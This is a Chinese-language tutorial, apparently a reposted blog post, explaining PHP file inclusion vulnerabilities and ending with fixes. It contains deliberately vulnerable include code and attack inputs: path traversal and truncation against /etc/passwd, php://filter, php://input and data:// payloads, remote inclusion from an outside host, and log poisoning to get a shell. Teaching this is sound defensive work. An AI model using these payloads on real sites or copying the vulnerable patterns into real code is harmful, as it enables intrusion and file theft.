Web安全之文件包含漏洞

什么是文件包含

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件。而无需再次编写,这种 文件调用的过程一般被称为文件包含。
例如:include “conn.php”

PHP中常见包含文件函数

  • include()
    当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。
  • include_once()
    功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
  • require()
    require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
  • require_once()
    功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

区别

  • inlude :包含的文件不存在,程序会继续执行
  • require:包含文件不存在,程序停止执行
    (如果出现语法错误,两个不会继续执行,如果是找不到这个文件,include继续执行,require,停止执行)

文件包含漏洞原理
文件包含漏洞产生的原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过。

常见漏洞代码

if(isset($_GET[page])){
	 include $_GET[page];
}else{
	 include "home.php";
}

文件包含漏洞危害

  • 配合文件上传漏洞GetShell
  • 可以执行任意脚本代码
  • 网站源码文件以及配置文件泄露
  • 远程包含GetShell
  • 控制整个网站甚至是服务器

文件包含漏洞的分类

  • 当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
  • 本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配置选项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。

本地文件包含利用

  • 上传图片马,包含图片马GetShell
  • 读取网站源码以及配置文件
  • 包含日志文件GetShell

包含上传图片_001

<?php
if(isset($_GET[page])){
	  include($_GET[page]);
}else{
	  include 'show.php';
}
?>

包含上传图片_002

<?php
if(isset($_GET[page])){
	  include('./action/' . $_GET[page]);
}else{
	  include ./action/show.php';
}
?>

包含上传图片_003

<?php
if(isset($_GET[page])){
	 include('./action/'. $_GET[page] . '.php');
}else{
	 include './action/show.php';
}
?>

%00截断

  • /etc/passwd%00
  • 需要 magic_quotes_gpc=off,PHP小于5.3.4有效

路径长度截断

  • /etc/passwd././././././././././././.[…]/././././././././.
  • php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256

读服务器本地文件

  • ?page=…/…/…/…/…/…/…/etc/passwd

读网站源码文件
index.php?page=php://filter/read=convert.base64-encode/resource=index.php

伪协议:

  • 直接包含木马文件,可以是图片,txt,压缩包…
  • ?page=php://input 接收post请求
    需要开启 仅需要开启 allow_url_include
  • ?page=http://172.18.11.66/0831/1.txt
    需要开启 allow_url_fopen,allow_url_include (远程包含)
  • ?page=php://filter/read=convert.base64-
    encode/resource=main.php (读取文件源码)
  • ?page=data://text/plain,<?php phpinfo();?>
    需要开启allow_url_fopen,allow_url_include

包含日志文件GetShell

  1. 首先 找到日志文件存放位置
  2. 让日志文件插入PHP代码
  3. 包含日志文件

远程文件包含利用
包含远程txt文件(php.ini的配置选项allow_url_fopen和allow_url_include为on),远程服务器上存放一个txt文件,或
者不被解析的php文件。(因为包含的时候返回的是php源代码,所以不能被解析)

index.php?page=http://www.xxx.com/1.txt

漏洞挖掘

  • 没有通用的挖掘办法
  • 特定的CMS,特定的版本可能存在漏洞(include,require)
  • Web漏洞扫描器扫描,常见的web漏洞扫描器都支持可以检测。

修复办法

  • PHP中使用open_basedir配置限制访问在指定的区域
  • 过滤.(点)/(反斜杠)\(反 斜杠)
  • 禁止服务器远程文件包含
    (allow_url_fopen,allow_url_include,off)

猜你喜欢

转载自blog.csdn.net/qq_37133717/article/details/94631028